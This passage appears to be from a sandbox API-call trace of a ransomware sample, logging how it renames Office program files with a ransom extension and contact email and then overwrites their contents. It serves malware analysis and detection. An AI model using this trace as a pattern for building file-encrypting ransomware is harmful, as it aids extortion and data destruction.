dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.712] WriteFile (in: hFile=0x66c, lpBuffer=0x701807f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x701807f*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.470] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.470] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.470] CloseHandle (hObject=0x66c) returned 1 [0187.470] GetProcessHeap () returned 0x630000 [0187.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0187.471] GetProcessHeap () returned 0x630000 [0187.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0187.471] GetProcessHeap () returned 0x630000 [0187.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0187.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8ee092, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b8ee092, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x35b09c34, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48970, dwReserved0=0x9207496, dwReserved1=0x7001848, cFileName="TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~3.FIR")) returned 0x6d5440 [0187.471] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0187.471] Sleep (dwMilliseconds=0x1) [0189.473] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF", len=0x49 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF") returned 1 [0189.473] GetProcessHeap () returned 0x630000 [0189.473] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x297c) returned 0x707d3d0 [0189.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0189.524] CloseHandle (hObject=0x434) returned 1 [0189.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7b.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5559, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR7~2.FIR")) returned 0x6d53c0 [0189.526] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0189.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7b.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0189.527] GetProcessHeap () returned 0x630000 [0189.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5561) returned 0x7330828 [0189.527] GetProcessHeap () returned 0x630000 [0189.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5561) returned 0x7335d98 [0189.527] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.527] ReadFile (in: hFile=0x434, lpBuffer=0x7330828, nNumberOfBytesToRead=0x5540, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7330828*, lpNumberOfBytesRead=0x60fff0c*=0x5540, lpOverlapped=0x0) returned 1 [0192.960] GetProcessHeap () returned 0x630000 [0192.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0192.961] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.961] WriteFile (in: hFile=0x434, lpBuffer=0x7335d98*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7335d98*, lpNumberOfBytesWritten=0x60fff0c*=0x5540, lpOverlapped=0x0) returned 1 [0194.230] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.231] WriteFile (in: hFile=0x434, lpBuffer=0x733b2d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x733b2d7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.186] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x434, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.186] CloseHandle (hObject=0x434) returned 1 [0195.299] GetProcessHeap () returned 0x630000 [0195.299] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7335d98 | out: hHeap=0x630000) returned 1 [0195.304] GetProcessHeap () returned 0x630000 [0195.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7330828 | out: hHeap=0x630000) returned 1 [0195.305] GetProcessHeap () returned 0x630000 [0195.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0196.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a4a8151, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x557d, dwReserved0=0x9207496, dwReserved1=0x7330820, cFileName="ZPDIR7B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR7~2.FIR")) returned 0x6d4e40 [0196.304] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0196.304] Sleep (dwMilliseconds=0x1) [0196.315] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", len=0x3e | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT") returned 1 [0196.315] GetProcessHeap () returned 0x630000 [0196.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47bc) returned 0x7133a90 [0196.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0196.429] CloseHandle (hObject=0x684) returned 1 [0196.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR8XL~1.FIR")) returned 0x6d5240 [0197.011] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0197.011] GetProcessHeap () returned 0x630000 [0197.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7421) returned 0x704b5d0 [0197.011] GetProcessHeap () returned 0x630000 [0197.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7421) returned 0x7052a00 [0197.011] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.011] ReadFile (in: hFile=0x684, lpBuffer=0x704b5d0, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b5d0*, lpNumberOfBytesRead=0x60fff0c*=0x7400, lpOverlapped=0x0) returned 1 [0201.494] GetProcessHeap () returned 0x630000 [0201.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0201.494] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.494] WriteFile (in: hFile=0x684, lpBuffer=0x7052a00*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7052a00*, lpNumberOfBytesWritten=0x60fff0c*=0x7400, lpOverlapped=0x0) returned 1 [0201.494] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.494] WriteFile (in: hFile=0x684, lpBuffer=0x7059dff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7059dff*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.495] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.495] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.495] CloseHandle (hObject=0x684) returned 1 [0201.495] GetProcessHeap () returned 0x630000 [0201.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7052a00 | out: hHeap=0x630000) returned 1 [0201.502] GetProcessHeap () returned 0x630000 [0201.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704b5d0 | out: hHeap=0x630000) returned 1 [0201.502] GetProcessHeap () returned 0x630000 [0201.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0201.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3e0b768b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7424, dwReserved0=0x9207496, dwReserved1=0x704b5c8, cFileName="ADR8.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR8XL~1.FIR")) returned 0x6d5280 [0201.503] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.503] Sleep (dwMilliseconds=0x1) [0203.068] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe", len=0x67 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe") returned 1 [0203.068] GetProcessHeap () returned 0x630000 [0203.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bdc) returned 0x7133a90 [0203.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0203.527] CloseHandle (hObject=0x5ec) returned 1 [0203.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3b191de, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x247c69f3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x248855b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c1278, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CMIGRA~1.FIR")) returned 0x6d5400 [0203.569] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0203.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0203.569] GetProcessHeap () returned 0x630000 [0203.569] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0203.570] GetProcessHeap () returned 0x630000 [0203.570] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7328408 [0203.570] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.570] ReadFile (in: hFile=0x5ec, lpBuffer=0x731cfd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.680] GetProcessHeap () returned 0x630000 [0211.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0211.680] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.680] WriteFile (in: hFile=0x5ec, lpBuffer=0x7328408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.680] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.680] WriteFile (in: hFile=0x5ec, lpBuffer=0x7333807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333807*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.682] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.682] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.683] CloseHandle (hObject=0x5ec) returned 1 [0211.683] GetProcessHeap () returned 0x630000 [0211.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0211.683] GetProcessHeap () returned 0x630000 [0211.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0211.683] GetProcessHeap () returned 0x630000 [0211.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0211.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3b191de, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x247c69f3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x441fd67c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7c129c, dwReserved0=0x9207496, dwReserved1=0x731cfd0, cFileName="CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CMIGRA~1.FIR")) returned 0x6d4f80 [0211.683] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0211.683] Sleep (dwMilliseconds=0x1) [0211.697] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", len=0x70 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned 1 [0211.697] GetProcessHeap () returned 0x630000 [0211.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e40) returned 0x6fe4288 [0211.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0211.701] CloseHandle (hObject=0x5e4) returned 1 [0211.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0211.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0211.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="WHGDTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WHGDTX~1.FIR")) returned 0x6d5380 [0211.703] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0211.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio 